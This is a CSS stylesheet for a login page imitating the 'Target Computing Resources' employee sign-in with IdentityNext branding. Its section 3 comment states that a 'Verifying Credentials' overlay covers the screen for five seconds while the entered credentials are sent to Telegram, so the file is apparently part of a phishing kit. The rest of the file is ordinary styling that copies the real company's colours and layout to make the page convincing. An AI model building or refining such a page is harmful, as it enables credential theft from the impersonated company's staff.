/* =========================================================
   TARGET COMPUTING RESOURCES — LOGIN PAGE STYLES
   styles.css
 
   Sections:
   1.  CSS Custom Properties (Design Tokens)
   2.  CSS Reset & Base
   3.  Verifying Credentials Overlay
   4.  Page Layout
   5.  Login Card
   6.  Logo
   7.  Page Title & Divider
   8.  Form & Field Groups
   9.  Password Field (show/hide toggle)
   10. Passkey Nudge
   11. Login Button
   12. Trouble Link
   13. Footer
   14. IdentityNext Brand Image
   15. Footer Notices
   16. Shared Link Styles
   17. Utility Classes
   18. Responsive Breakpoints
   19. Accessibility Preferences
   ========================================================= */
 
 
/* ─────────────────────────────────────────────
   1. CSS CUSTOM PROPERTIES
   ─────────────────────────────────────────────
   Edit values here to update the whole page.
   ───────────────────────────────────────────── */
:root {
  /* Brand colours */
  --color-target-red:       #CC0000;
  --color-target-red-btn:   #CC7070;
  --color-target-red-text:  #CC0000;
  --color-link-blue:        #0066CC;
  --color-link-blue-hover:  #0052A3;
 
  /* Neutrals */
  --color-bg:               #FAFAFA;
  --color-card-bg:          #FFFFFF;
  --color-divider:          #CCCCCC;
  --color-text-primary:     rgba(0, 0, 0, 0.87);
  --color-text-secondary:   #444444;
  --color-text-footer-dark: #333333;
  --color-input-border:     #212121;
  --color-input-focus:      #CC0000;
  --color-error:            #CC0000;
 
  /* Typography — change --font-family here + update Google Fonts link in index.html */
  --font-family:    'Roboto', 'Helvetica Neue', Helvetica, Arial, sans-serif;
  --font-size-base: 14px;
 
  /* Layout */
  --page-max-width:  430px;
  --card-padding-h:  20px;
  --card-padding-v:  20px;
 
  /* Transitions */
  --transition-base: 0.2s ease;
}
 
 
/* ─────────────────────────────────────────────
   2. CSS RESET & BASE
   ───────────────────────────────────────────── */
*,
*::before,
*::after {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}
 
html {
  font-size: var(--font-size-base);
  -webkit-text-size-adjust: 100%;
  scroll-behavior: smooth;
}
 
body {
  font-family: var(--font-family);
  background-color: var(--color-bg);
  color: var(--color-text-primary);
  min-height: 100vh;
  font-weight: 400;
  line-height: 1.43;
  letter-spacing: 0.01071em;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}
 
a {
  text-decoration: none;
  color: inherit;
  cursor: pointer;
}
 
button {
  cursor: pointer;
  font-family: inherit;
  border: none;
  background: none;
}
 
input { font-family: inherit; }
 
svg {
  display: block;
  flex-shrink: 0;
}
 
 
/* ─────────────────────────────────────────────
   3. VERIFYING CREDENTIALS OVERLAY
   ─────────────────────────────────────────────
   Full-screen white overlay shown for 5 s while
   credentials are sent to Telegram. Only a
   spinner + "Verifying Credentials" are visible.
   No countdown. No other content.
   JS adds class "active" to make it visible.
   ───────────────────────────────────────────── */
.verify-overlay {
  position: fixed;
  inset: 0;
  background-color: #FFFFFF;
  display: flex;
  align-items: center;
  justify-content: center;
  z-index: 9999;
  opacity: 0;
  pointer-events: none;
  transition: opacity 0.1s ease;
}
 
.verify-overlay.active {
  opacity: 1;
  pointer-events: all;
}
 
.verify-content {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 18px;
}
 
.verify-spinner {
  width: 40px;
  height: 40px;
  border: 3px solid rgba(204, 0, 0, 0.18);
  border-top-color: var(--color-target-red);
  border-radius: 50%;
  animation: spin 0.85s linear infinite;
}
 
.verify-text {
  font-size: 1rem;
  font-weight: 500;
  color: var(--color-text-primary);
  letter-spacing: 0.01em;
}
 
 
/* ─────────────────────────────────────────────
   4. PAGE LAYOUT
   ───────────────────────────────────────────── */
.page-wrapper {
  display: flex;
  flex-direction: column;
  align-items: center;
  min-height: 100vh;
  background-color: var(--color-bg);
  padding: 0;
}
 
 
/* ─────────────────────────────────────────────
   5. LOGIN CARD
   ───────────────────────────────────────────── */
.login-card {
  width: 100%;
  max-width: var(--page-max-width);
  background-color: var(--color-card-bg);
  padding: var(--card-padding-v) var(--card-padding-h) 20px;
  border-radius: 0;
  box-shadow: none;
}
 
 
/* ─────────────────────────────────────────────
   6. LOGO
   ───────────────────────────────────────────── */
.logo-wrap {
  display: flex;
  justify-content: center;
  margin-bottom: 14px;
}
 
.logo-svg {
  width: 58px;
  height: 58px;
}
 
 
/* ─────────────────────────────────────────────
   7. PAGE TITLE & DIVIDER
   ───────────────────────────────────────────── */
.page-title {
  text-align: center;
  font-size: 1.1rem;
  font-weight: 400;
  color: var(--color-text-primary);
  line-height: 1.35;
  margin-bottom: 14px;
  padding: 0 4px;
}
 
.title-divider {
  border: none;
  border-top: 1px solid var(--color-divider);
  margin-left:  calc(-1 * var(--card-padding-h));
  margin-right: calc(-1 * var(--card-padding-h));
  margin-bottom: 20px;
}
 
 
/* ─────────────────────────────────────────────
   8. FORM & FIELD GROUPS
   ───────────────────────────────────────────── */
.login-form {
  display: flex;
  flex-direction: column;
  gap: 0;
}
 
.field-group {
  display: flex;
  flex-direction: column;
  margin-bottom: 20px;
  position: relative;
}
 
.field-label {
  font-size: 0.9rem;
  color: var(--color-text-primary);
  margin-bottom: 4px;
  font-weight: 400;
  line-height: 1.3;
}
 
.required-star { color: var(--color-target-red); }
 
.field-input {
  width: 100%;
  border: none;
  border-bottom: 1.5px solid var(--color-input-border);
  outline: none;
  padding: 5px 0 7px;
  font-size: 0.95rem;
  color: var(--color-text-primary);
  background: transparent;
  border-radius: 0;
  transition: border-color var(--transition-base);
  -webkit-appearance: none;
  appearance: none;
}
 
.field-input:focus { border-bottom-color: var(--color-input-focus); }
 
#password { padding-right: 32px; }
 
.field-error {
  display: block;
  font-size: 0.75rem;
  color: var(--color-error);
  margin-top: 3px;
  min-height: 14px;
  line-height: 1.3;
}
 
.field-group.has-error .field-input { border-bottom-color: var(--color-error); }
 
 
/* ─────────────────────────────────────────────
   9. PASSWORD FIELD — TOGGLE BUTTON
   ─────────────────────────────────────────────
   eye-show icon has been removed per request.
   The toggle button now uses only the eye-off
   SVG as a static visual cue. Clicking it still
   toggles between text and password input type.
   ───────────────────────────────────────────── */
.password-wrap {
  position: relative;
  display: flex;
  align-items: center;
}
 
.password-wrap .field-input { flex: 1; }
 
.toggle-pw {
  position: absolute;
  right: 0;
  bottom: 6px;
  padding: 0;
  line-height: 0;
  background: transparent;
  border: none;
  cursor: pointer;
  display: flex;
  align-items: center;
  justify-content: center;
  transition: opacity var(--transition-base);
}
 
.toggle-pw:hover       { opacity: 0.6; }
.toggle-pw:focus-visible {
  outline: 2px solid var(--color-input-focus);
  outline-offset: 2px;
  border-radius: 2px;
}
 
.eye-icon {
  width: 20px;
  height: 20px;
}
 
 
/* ─────────────────────────────────────────────
   10. PASSKEY NUDGE
   ───────────────────────────────────────────── */
.passkey-nudge {
  text-align: center;
  font-size: 0.86rem;
  color: var(--color-text-secondary);
  margin-bottom: 14px;
  line-height: 1.5;
}
 
 
/* ─────────────────────────────────────────────
   11. LOGIN BUTTON
   ───────────────────────────────────────────── */
.btn-login {
  width: 100%;
  background-color: var(--color-target-red-btn);
  color: #FFFFFF;
  font-size: 0.95rem;
  font-weight: 500;
  letter-spacing: 0.03em;
  padding: 14px 20px;
  border-radius: 4px;
  border: none;
  margin-bottom: 18px;
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  transition: background-color var(--transition-base), opacity var(--transition-base);
  -webkit-tap-highlight-color: transparent;
}
 
.btn-login:hover    { background-color: #b85f5f; }
.btn-login:active   { background-color: #a34f4f; }
.btn-login:disabled { opacity: 0.7; cursor: not-allowed; }
 
.btn-spinner {
  width: 16px;
  height: 16px;
  border: 2px solid rgba(255, 255, 255, 0.35);
  border-top-color: #ffffff;
  border-radius: 50%;
  animation: spin 0.75s linear infinite;
  flex-shrink: 0;
}
 
@keyframes spin {
  to { transform: rotate(360deg); }
}
 
 
/* ─────────────────────────────────────────────
   12. TROUBLE LINK
   ───────────────────────────────────────────── */
.trouble-wrap { text-align: center; }
 
.link-trouble {
  font-size: 0.9rem;
  font-weight: 500;
}
 
 
/* ─────────────────────────────────────────────
   13. FOOTER
   ───────────────────────────────────────────── */
.page-footer {
  width: 100%;
  max-width: var(--page-max-width);
  background-color: var(--color-card-bg);
  padding: 22px var(--card-padding-h) 28px;
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 11px;
}
 
 
/* ─────────────────────────────────────────────
   14. IDENTITYNEXT BRAND IMAGE
   ─────────────────────────────────────────────
   The PNG (identitynext.png) replaces the
   previous SVG icon + "Identity" + "Next" text.
   It sits centred in the footer, same position.
   ───────────────────────────────────────────── */
.idnext-brand {
  display: flex;
  justify-content: center;
  align-items: center;
  margin-bottom: 2px;
  width: 100%;
}
 
.idnext-img {
  /* The source PNG has a black background — filter inverts it to white
     so it blends with the white footer card background.
     Remove this filter if your PNG already has a transparent background. */
  
  height: 32px;       /* controls rendered height; width scales proportionally */
  width: auto;
  max-width: 200px;   /* prevents it from being too wide on large screens */
  display: block;
  object-fit: contain;
}
 
 
/* ─────────────────────────────────────────────
   15. FOOTER NOTICES
   ───────────────────────────────────────────── */
.footer-notice {
  font-size: 0.78rem;
  line-height: 1.55;
  text-align: center;
  width: 100%;
}
 
.footer-notice--red  { color: var(--color-target-red-text); }
.footer-notice--dark { color: var(--color-text-footer-dark); }
.footer-notice--legal { text-align: center; }
 
.footer-token {
  font-size: 0.75rem;
  color: var(--color-text-footer-dark);
  text-align: center;
  word-break: break-all;
  margin-top: 4px;
}
 
 
/* ─────────────────────────────────────────────
   16. SHARED LINK STYLES
   ───────────────────────────────────────────── */
.link-blue {
  color: var(--color-link-blue);
  text-decoration: none;
  transition: color var(--transition-base);
}
 
.link-blue:hover,
.link-blue:focus-visible {
  color: var(--color-link-blue-hover);
  text-decoration: underline;
}
 
.link-blue:focus-visible {
  outline: 2px solid var(--color-link-blue);
  outline-offset: 2px;
  border-radius: 2px;
}
 
 
/* ─────────────────────────────────────────────
   17. UTILITY CLASSES
   ───────────────────────────────────────────── */
.hidden { display: none !important; }
 
.sr-only {
  position: absolute;
  width: 1px;
  height: 1px;
  padding: 0;
  margin: -1px;
  overflow: hidden;
  clip: rect(0, 0, 0, 0);
  white-space: nowrap;
  border: 0;
}
 
 
/* ─────────────────────────────────────────────
   18. RESPONSIVE BREAKPOINTS
   ───────────────────────────────────────────── */
 
/* Very small phones < 360 px */
@media (max-width: 359px) {
  .page-title  { font-size: 0.95rem; }
  .btn-login   { padding: 12px 16px; }
  .logo-svg    { width: 50px; height: 50px; }
  .idnext-img  { height: 26px; }
}
 
/* Small–mid phones 360–479 px */
@media (min-width: 360px) and (max-width: 479px) {
  :root { --card-padding-h: 18px; }
}
 
/* iPhone 12/14 range ~390 px — primary target viewport */
@media (min-width: 380px) and (max-width: 430px) {
  .logo-svg   { width: 60px; height: 60px; }
  .page-title { font-size: 1.12rem; }
}
 
/* Larger phones / small tablets 480–599 px */
@media (min-width: 480px) and (max-width: 599px) {
  :root { --card-padding-h: 24px; }
}
 
/* Tablets ≥ 600 px — rounded card + shadow */
@media (min-width: 600px) {
  .page-wrapper {
    padding: 32px 16px 40px;
  }
 
  .login-card {
    border-radius: 8px;
    box-shadow: 0 2px 12px rgba(0, 0, 0, 0.10);
    padding: 28px 32px 22px;
  }
 
  .title-divider {
    margin-left: 0;
    margin-right: 0;
  }
 
  .page-footer {
    border-radius: 8px;
    box-shadow: 0 2px 12px rgba(0, 0, 0, 0.08);
    padding: 24px 32px 24px;
    margin-top: 14px;
  }
 
  .footer-notice--legal { text-align: left; }
}
 
/* Tablets / small desktops ≥ 768 px */
@media (min-width: 768px) {
  :root { --page-max-width: 460px; }
 
  .login-card,
  .page-footer {
    padding-left: 40px;
    padding-right: 40px;
  }
 
  .page-title { font-size: 1.18rem; }
}
 
/* Wide desktop ≥ 1200 px */
@media (min-width: 1200px) {
  body { background-color: #EBEBEB; }
 
  .page-wrapper {
    justify-content: center;
    padding-top: 50px;
    padding-bottom: 50px;
  }
}
 
 
/* ─────────────────────────────────────────────
   19. ACCESSIBILITY PREFERENCES
   ───────────────────────────────────────────── */
@media (prefers-reduced-motion: reduce) {
  *,
  *::before,
  *::after {
    animation-duration:  0.001ms !important;
    transition-duration: 0.001ms !important;
  }
}